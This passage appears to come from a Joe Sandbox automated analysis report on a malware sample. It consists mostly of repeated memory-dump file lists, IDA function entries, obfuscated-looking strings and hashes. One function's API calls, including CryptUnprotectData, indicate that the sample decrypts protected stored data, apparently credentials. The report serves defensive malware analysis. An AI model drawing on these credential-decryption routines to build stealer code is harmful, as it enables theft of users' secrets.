Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: au$"Bc$8Sj$@d0[$F&<($zOi${u}$F/7$Gw]
API String ID: 0-956835054
Opcode ID: bd95077d1011658f8e2f9b15da548c9eef14cf57447a455be2502de31e19d910
Instruction ID: bb3733f6e3388d8a9ba176b3e2aa393934347322aad5bcd80c5c01935cc6ee36
Opcode Fuzzy Hash: bd95077d1011658f8e2f9b15da548c9eef14cf57447a455be2502de31e19d910
Instruction Fuzzy Hash: F6B2C4F360C200AFE7046F29DC8567AFBE9EF94720F1A492DEAC4C3744EA3558458697

Function 0139123E Relevance: 10.3, Strings: 7, Instructions: 1571COMMON

Download Yara Rule

Strings

;TW_, xrefs: 01391617
:s, xrefs: 013921D2
n[zu, xrefs: 0139238D
A.[s, xrefs: 013912F7
t_>, xrefs: 01391266
7)-, xrefs: 01391546
:s, xrefs: 013921B8

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;TW_$A.[s$n[zu$t_>$7)-$:s$:s
API String ID: 0-803082169
Opcode ID: 6b2cbfec9eab8765e43f68115937d2a549e96b9bbf478b9c8e7c0de3a07c3f5b
Instruction ID: dd5e39ea49c7822d6c94a286f15be33e84bf593eda76694954e723e51edf8e44
Opcode Fuzzy Hash: 6b2cbfec9eab8765e43f68115937d2a549e96b9bbf478b9c8e7c0de3a07c3f5b
Instruction Fuzzy Hash: 2DB209F36082049FE3046E2DEC8567AFBE5EF94720F1A893DEAC4C7744EA3558058697

Function 0139CDC6 Relevance: 9.1, Strings: 6, Instructions: 1627COMMON

Download Yara Rule

Strings

}_, xrefs: 0139D584
pkkv, xrefs: 0139DBF3
$>w, xrefs: 0139D1A8
Wj?w, xrefs: 0139D88F
b_o, xrefs: 0139D7A3
[N, xrefs: 0139E07C

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Wj?w$b_o$pkkv$}_$$>w$[N
API String ID: 0-1639796882
Opcode ID: 329b6046ace531113995c9d13ae5d16c8e1028bcb9d790aad08108dc34e21bbc
Instruction ID: 917cd58595cf1164279a92811cbeff5e761ef831414f6c9bfec5e38bd8fb19f7
Opcode Fuzzy Hash: 329b6046ace531113995c9d13ae5d16c8e1028bcb9d790aad08108dc34e21bbc
Instruction Fuzzy Hash: E4B206F360C6049FE304AE29EC8567AFBE9EF94320F1A492DE6C4C7344EA7558418797

Function 0139B2F8 Relevance: 9.1, Strings: 6, Instructions: 1613COMMON

Download Yara Rule

Strings

pdO=, xrefs: 0139BF9A
#O, xrefs: 0139B8AC
+C?, xrefs: 0139B4DD
Rq, xrefs: 0139BF14
2&O, xrefs: 0139B63C
X"mM, xrefs: 0139B785

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #O$+C?$2&O$Rq$X"mM$pdO=
API String ID: 0-4016573109
Opcode ID: 13780e5175b5b43e1723968ffa2e2516c8c8c001ad256e0b5ab13d03beabaf03
Instruction ID: 72434241c7a04078cc3bcea23c67616a74e0bf9542482e35372c2ba89a83a83d
Opcode Fuzzy Hash: 13780e5175b5b43e1723968ffa2e2516c8c8c001ad256e0b5ab13d03beabaf03
Instruction Fuzzy Hash: 93B239F3A0C2049FE304AE2DEC4567ABBE5EFD4720F1A893DE6C487744EA3558058697

Function 0138A6E3 Relevance: 7.9, Strings: 5, Instructions: 1652COMMON

Download Yara Rule

Strings

od.C, xrefs: 0138B243
eZ{, xrefs: 0138B6EE
'1{, xrefs: 0138AECC
2_e, xrefs: 0138AF8D
V9k, xrefs: 0138A7A4

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: V9k$'1{$2_e$od.C$eZ{
API String ID: 0-3322085990
Opcode ID: 81ff81242a8b640c3ef0f05bcb0774168a1acf8475d0569eb41881ae4302b759
Instruction ID: e0e1b9cf3322724a5493f9cb9abf3793c7e11621a661aa14213d0178ac19cf07
Opcode Fuzzy Hash: 81ff81242a8b640c3ef0f05bcb0774168a1acf8475d0569eb41881ae4302b759
Instruction Fuzzy Hash: 3EB215F360C2049FE304AE2DEC8567AFBE5EBD4720F168A3DEAC4C7744E63558058696

Function 01392CD4 Relevance: 7.9, Strings: 5, Instructions: 1635COMMON

Download Yara Rule

Strings

w, xrefs: 0139319C
/l_, xrefs: 01393CD9
yfO, xrefs: 013934E6
+l_, xrefs: 01393CC9
73J, xrefs: 01393F79

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +l_$/l_$yfO$73J$w
API String ID: 0-195376075
Opcode ID: b497668f35fbec69e1d29c2487ca28f0367df0ae317e224011a634f329e06947
Instruction ID: 912d29208f169f0959aa114a897193818126590d279d491908ae6d71961e984e
Opcode Fuzzy Hash: b497668f35fbec69e1d29c2487ca28f0367df0ae317e224011a634f329e06947
Instruction Fuzzy Hash: DEB2E5F360C2049FE304AE2DEC8567ABBE9EF94320F1A492DE6C5C7744E63598418697

Function 00FC7240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00FC724D
RtlAllocateHeap.NTDLL(00000000), ref: 00FC7254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00FC7281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00FC72A4
LocalFree.KERNEL32(?), ref: 00FC72AE

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 53fb938cb5b61736cdf1fd63689097e04c40b00d89efd12f0315d3eb7ffcfdfe
Instruction ID: abcac781fc4e9361670cb6552a65c23e83118ae68bf9f44700d803ff8034fc82
Opcode Fuzzy Hash: 53fb938cb5b61736cdf1fd63689097e04c40b00d89efd12f0315d3eb7ffcfdfe
Instruction Fuzzy Hash: 78011275B40308BBEB24DFD4DD4AF9D7778EB44700F104158FB05AB2C5DAB0AA019B65

Function 01388BFC Relevance: 6.6, Strings: 4, Instructions: 1618COMMON

Download Yara Rule

Strings

U?, xrefs: 01388CF3
|Pl?, xrefs: 01388D54
.+w, xrefs: 01389F68
AU{k, xrefs: 013893BD

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .+w$AU{k$|Pl?$U?
API String ID: 0-1519595408
Opcode ID: bc98c02c38e5144c5343dc6627c93a4ca7669ed0a2c858fa687e41b79fe24093
Instruction ID: 068dc02347a2441d113d2745be7dcfa3f92801ddc6beac54e4ea9644fa6d8a35
Opcode Fuzzy Hash: bc98c02c38e5144c5343dc6627c93a4ca7669ed0a2c858fa687e41b79fe24093
Instruction Fuzzy Hash: D9B22AF3A082009FE304AE2DEC4567ABBE9EF94720F1A453DEAC5D3744EA3558058797

Function 00FD8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00FC5184,40000001,00000000,00000000,?,00FC5184), ref: 00FD8EC0

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
